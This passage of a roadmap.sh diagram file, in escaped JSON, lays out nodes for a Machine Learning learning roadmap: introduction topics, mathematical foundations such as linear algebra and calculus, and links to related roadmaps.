\"gBE8BENsb4ufx8LIDajfW\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 232.59010183215503, \"y\": 4230.900127048074 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 96,\n      \"measured\": { \"width\": 20, \"height\": 96 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"doQmzhu5Lc0_T_HhY_ZRQ\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 204.09010183215503, \"y\": 3790.1562291401465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 107,\n      \"measured\": { \"width\": 20, \"height\": 107 },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Dg-BWXbboOxih40Zsbx1w\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 202.73681648400486, \"y\": 3410.1562291401465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 380,\n      \"measured\": { \"width\": 20, \"height\": 380 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"ojcgfvfZH0b9HPCzyrr76\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -577.877244443855, \"y\": 3410.1562291401465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 112,\n      \"measured\": { \"width\": 20, \"height\": 112 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"cbnLwCjLf_psaeZi-iYp8\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -577.877244443855, \"y\": 3290.1562291401465 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 120,\n      \"measured\": { \"width\": 20, \"height\": 120 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"OtUNfcDZePAfofunkmrhT\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -585.8002543352859, \"y\": 2873.468418061569 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 94,\n      \"measured\": { \"width\": 20, \"height\": 94 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PqMBUlZoOdcug-UAFsLJb\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -584.5286124480216, \"y\": 2783.468418061569 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.65,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 90,\n      \"measured\": { \"width\": 20, \"height\": 90 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"zHP366x1cR1wN-vPiYHhZ\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 212.59010183215503, \"y\": 2590.662863314189 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 99,\n      \"measured\": { \"width\": 20, \"height\": 99 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"7IJICU4JD1nx6U_RBSzP5\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": 212.59010183215503, \"y\": 2200.0427068474123 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": { \"stroke\": \"#2B78E4\", \"strokeWidth\": 3.65 }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 385,\n      \"measured\": { \"width\": 20, \"height\": 385 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"-QuPBTN17APQs_K_5dthH\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -124.5721339272493, \"y\": 3408.99034192284 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 68 },\n      \"dragging\": false,\n      \"width\": 20,\n      \"height\": 68,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Th-lcjV757LPbE9-GiV0n\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -252.22471681944066, \"y\": 3408.99034192284 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"-QuPBTN17APQs_K_5dthH\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 88 },\n      \"dragging\": false,\n      \"width\": 20,\n      \"height\": 88,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"psWP39v7s4pzceS0Md_LC\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -94.07226604893799, \"y\": 3800.9417330113006 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"xLcOV9sOrq1NqJ1pryE-Z\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 90 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"width\": 20,\n      \"height\": 90,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"xLcOV9sOrq1NqJ1pryE-Z\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -186.87702399003763, \"y\": 3800.9417330113006 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"l4tmzOF538jdw5JxxLSHG\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 104 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"width\": 20,\n      \"height\": 104,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"l4tmzOF538jdw5JxxLSHG\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -276.87702399003757, \"y\": 3800.9417330113006 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 101 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"width\": 20,\n      \"height\": 101,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"684iPXqT5NHpzH0dlad9X\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -521.329737337694, \"y\": 1426.414507233565 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"1Yrc0ZVM3XjZuCm_Us-s0\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 65 },\n      \"width\": 20,\n      \"height\": 65,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"UPQHSVwx7SxxAdnf7qfom\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -653.2201625137221, \"y\": 1426.414507233565 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"684iPXqT5NHpzH0dlad9X\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 65 },\n      \"width\": 20,\n      \"height\": 65,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Jkl-KlZvQU3RqJAM93A9n\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -513.0286124480216, \"y\": 1241.6199189960987 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"684iPXqT5NHpzH0dlad9X\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 65 },\n      \"width\": 20,\n      \"height\": 65,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"MfIHWV_un6KsJxM8yKNDx\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -649.1105876897502, \"y\": 1241.6199189960987 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"684iPXqT5NHpzH0dlad9X\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 65 },\n      \"width\": 20,\n      \"height\": 65,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"UnCK701KLCuDm02-rRA-A\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -100.1381872719935, \"y\": 1083.800858623439 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"1Yrc0ZVM3XjZuCm_Us-s0\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 65 },\n      \"width\": 20,\n      \"height\": 65,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"1Yrc0ZVM3XjZuCm_Us-s0\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -269.1381872719935, \"y\": 1074.800858623439 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"LiHv5WibfC1HJbeVrkBrX\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 20, \"height\": 65 },\n      \"width\": 20,\n      \"height\": 65,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"width\": 302,\n      \"height\": 73,\n      \"id\": \"AvbMQ5vY3ip1oX_6Yq4ie\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 63.09010183215503, \"y\": 757.1754066561159 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Programming Fundamentals \",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        },\n        \"oldId\": \"QDxfSiVxxviIyfBP-1gVi\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -229.33333333333337, \"y\": 1150.3333333333335 },\n      \"focusable\": true,\n      \"measured\": { \"width\": 302, \"height\": 73 },\n      \"selectable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"9CPcys38Ir077u37jFe02\",\n      \"type\": \"section\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": -149.5992517776511 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 301,\n      \"height\": 117,\n      \"style\": { \"width\": 150, \"height\": 100 },\n      \"measured\": { \"width\": 301, \"height\": 117 },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"7aSscXd-UMNWOX7A_vxYh\",\n      \"type\": \"title\",\n      \"position\": { \"x\": -309.1381872719935, \"y\": -32.59925177765109 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Machine Learning\",\n        \"style\": {\n          \"fontSize\": 28,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 269, \"height\": 68 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_LvWarjrzvIOi8StMezyM\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -184.6381872719935, \"y\": -135.5992517776511 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 102,\n      \"measured\": { \"width\": 20, \"height\": 102 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"JqcGwkk1cuTnXA8SHpTKr\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -622.6381872719935, \"y\": -135.5992517776511 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pre-requisites\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 124, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"PUVM4XqV7j5nXBAbIAKwG\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -699.6381872719935, \"y\": -92.59925177765109 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Python Roadmap\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"https://roadmap.sh/python\",\n        \"color\": \"#000000\",\n        \"backgroundColor\": \"#fdff9e\",\n        \"borderColor\": \"#000000\",\n        \"oldId\": \"QVnfsLmVBGkuXUGm5NK9T\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 277, \"height\": 49 },\n      \"dragging\": false,\n      \"width\": 277,\n      \"height\": 49,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"iAWm99EoRnpzLlw6XDuaf\",\n      \"type\": \"linksgroup\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": -22.23418241086125 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"lqPv6L8d6CyHcC0Yvk6Wh\",\n            \"label\": \"AI Engineer Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/ai-engineer\"\n          },\n          {\n            \"id\": \"JgDMCkyrhYOqMWSQpf8XB\",\n            \"label\": \"MLOps Roadmap\",\n            \"url\": \"https://roadmap.sh/mlops\"\n          },\n          {\n            \"id\": \"zQY2A8kksRwc7J98ijx52\",\n            \"label\": \"AI and Data Scientist Roadmap\",\n            \"url\": \"https://roadmap.sh/ai-data-scientist\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 304, \"height\": 163 },\n      \"dragging\": false,\n      \"width\": 304,\n      \"height\": 163,\n      \"focusable\": true,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"MEL6y3vwiqwAV6FQihF34\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -270.6381872719935, \"y\": 140.76581758913875 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5DiaZkljhHAGPi9DkaH3b\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 192, \"height\": 49 },\n      \"width\": 192,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"GHO6lN3GTiIRH1P70IRaZ\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.16221816805975, \"y\": 140.76581758913875 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ML Engineer vs AI Engineer\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"7o6g0wQxHH9i9MMCoDq2C\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"measured\": { \"width\": 291, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"BzZd-d5t63dY97SRSIb0J\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.16221816805975, \"y\": 192.76581758913875 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Skills and Responsibilities\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"BmpRzmsrrJ_5HVsocM36P\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"measured\": { \"width\": 291, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"CCmziWV0VnzZxVbjVF_br\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 46.833849087094336, \"y\": -150.2948532825934 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Find the interactive version of this roadmap and more roadmaps at\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#FFFFFf\"\n        },\n        \"oldId\": \"kpF15oUmlUmk1qVGEBB7Y\"\n      },\n      \"zIndex\": 999,\n      \"width\": 299,\n      \"height\": 154,\n      \"positionAbsolute\": { \"x\": 548.0942414053277, \"y\": -133.9615199492601 },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": { \"width\": 355, \"height\": 143 },\n      \"resizing\": false,\n      \"measured\": { \"width\": 299, \"height\": 154 }\n    },\n    {\n      \"id\": \"if9eTna5NRTMStVwpSwDP\",\n      \"type\": \"button\",\n      \"position\": { \"x\": 65.33384908709434, \"y\": -64.59925177765109 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"roadmap.sh\",\n        \"href\": \"https://roadmap.sh\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"oldId\": \"2zqZkyVgigifcRS1H7F_b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"dragging\": false,\n      \"style\": { \"width\": 330, \"height\": 49 },\n      \"resizing\": false,\n      \"positionAbsolute\": { \"x\": 560.5942414053277, \"y\": -52.103402024556615 },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 262, \"height\": 49 }\n    },\n    {\n      \"id\": \"FgzPlLUfGdlZPvPku0-Xl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.16221816805975, \"y\": 88.76581758913875 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What is an ML Engineer?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"P576TdYcbE6v3RpJntiKw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"style\": { \"width\": 299, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 291, \"height\": 49 }\n    },\n    {\n      \"id\": \"iQi7BVBigtFDZTMno2Kbq\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -312.4122853748289, \"y\": 266.97552751650323 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Mathematical Foundations \",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"d-aZ5nQDWiMmqeMIodZzJ\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 276, \"height\": 67 },\n      \"focusable\": true,\n      \"dragging\": false\n    },\n    {\n      \"id\": \"83UDoO1vC0LjL-qpI0Jh-\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -270.6381872719935, \"y\": 413.79870458660406 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Linear Algebra\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rzhVFzl5H5MWtcvr8ayRk\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 192, \"height\": 49 },\n      \"width\": 192,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"wHlEinHuRARp5OfSulpA-\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 413.79870458660406 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Calculus\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"N_vLjBVdsGsoePtqlqh2w\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 281, \"height\": 49 },\n      \"width\": 281,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"jJukG4XxfFcID_VlQKqe-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 251.7184307380153 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Chain rule of derivation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"measured\": { \"width\": 281, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"3BxbkrBp8veZj38zdwN8s\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 303.7184307380153 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Gradient, Jacobian, Hessian\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_MpdVlvvkrsgzigYMZ_P8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"measured\": { \"width\": 281, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"GN6SnI7RXIeW8JeD-qORW\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -711.1381872719935, \"y\": 199.7184307380153 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Derivatives, Partial Derivatives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 281,\n      \"height\": 49,\n      \"style\": { \"width\": 299, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 281, \"height\": 49 }\n    },\n    {\n      \"id\": \"d7J8GEkut61NDGRzROJoP\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.16221816805975, \"y\": 361.4926955731004 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Scalars, Vectors, Tensors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"p8q1Gtt9x19jw5_-YjAGh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 291,\n      \"height\": 49,\n      \"measured\": { \"width\": 291, \"height\": 49 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"style\": { \"width\": 323 }\n    },\n    